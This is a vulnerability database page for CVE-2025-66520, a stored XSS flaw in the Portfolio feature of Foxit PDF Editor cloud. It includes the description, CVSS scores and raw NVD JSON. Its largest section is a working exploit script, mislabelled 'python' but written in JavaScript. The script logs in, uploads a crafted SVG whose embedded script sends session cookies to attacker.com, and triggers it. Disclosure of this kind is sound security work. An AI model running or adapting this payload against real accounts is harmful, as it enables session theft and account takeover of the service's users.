Security Vulnerability Report
中文
CVE-2025-66520 CVSS 6.3 MEDIUM

CVE-2025-66520

Published: 2025-12-19 08:15:54
Last Modified: 2025-12-23 17:33:59
Source: 14984358-7092-470d-8f34-ade47a7658a2

Description

A stored cross-site scripting (XSS) vulnerability exists in the Portfolio feature of the Foxit PDF Editor cloud (pdfonline.foxit.com). User-supplied SVG files are not properly sanitized or validated before being inserted into the HTML structure. As a result, embedded HTML or JavaScript within a crafted SVG may execute whenever the Portfolio file list is rendered.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor_cloud:*:*:*:*:*:*:*:* - VULNERABLE
Foxit PDF Editor Cloud (pdfonline.foxit.com) - 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import { chromium } from 'playwright'; // Malicious SVG payload for CVE-2025-66520 const maliciousSvg = `<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // Steal session cookies and send to attacker server fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)) .then(response => response.text()) .then(data => console.log('Exfiltrated:', data)) .catch(err => console.error('Error:', err)); </script> <rect width="200" height="200" fill="red" /> <text x="50%" y="50%" text-anchor="middle" fill="white">XSS Payload</text> </svg>`; async function exploitCVE202566520() { const browser = await chromium.launch({ headless: false }); const context = await browser.newContext(); const page = await context.newPage(); try { // Step 1: Login to Foxit PDF Editor Cloud console.log('[+] Navigating to Foxit PDF Editor Cloud...'); await page.goto('https://pdfonline.foxit.com'); await page.waitForLoadState('networkidle'); // Step 2: Authenticate with valid credentials console.log('[+] Logging in...'); await page.fill('#username', '[email protected]'); await page.fill('#password', 'password123'); await page.click('#login-button'); await page.waitForLoadState('networkidle'); // Step 3: Navigate to Portfolio feature console.log('[+] Navigating to Portfolio feature...'); await page.click('a[href="/portfolio"]'); await page.waitForLoadState('networkidle'); // Step 4: Upload malicious SVG file console.log('[+] Uploading malicious SVG file...'); const fileInput = await page.locator('input[type="file"]'); await fileInput.setInputFiles({ name: 'malicious.svg', mimeType: 'image/svg+xml', buffer: Buffer.from(maliciousSvg) }); await page.waitForTimeout(2000); // Step 5: Trigger XSS by viewing Portfolio file list console.log('[+] Triggering XSS payload...'); await page.reload(); await page.waitForLoadState('networkidle'); await page.click('button:has-text("View Portfolio")'); await page.waitForTimeout(3000); console.log('[+] XSS payload executed successfully!'); console.log('[+] Session cookies have been exfiltrated.'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } finally { await browser.close(); } } exploitCVE202566520();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66520", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2025-12-19T08:15:54.077", "lastModified": "2025-12-23T17:33:58.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in the Portfolio feature of the Foxit PDF Editor cloud (pdfonline.foxit.com). User-supplied SVG files are not properly sanitized or validated before being inserted into the HTML structure. As a result, embedded HTML or JavaScript within a crafted SVG may execute whenever the Portfolio file list is rendered."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor_cloud:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-01", "matchCriteriaId": "1C90C56D-E699-4600-92B1-30DF358CE2E9"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}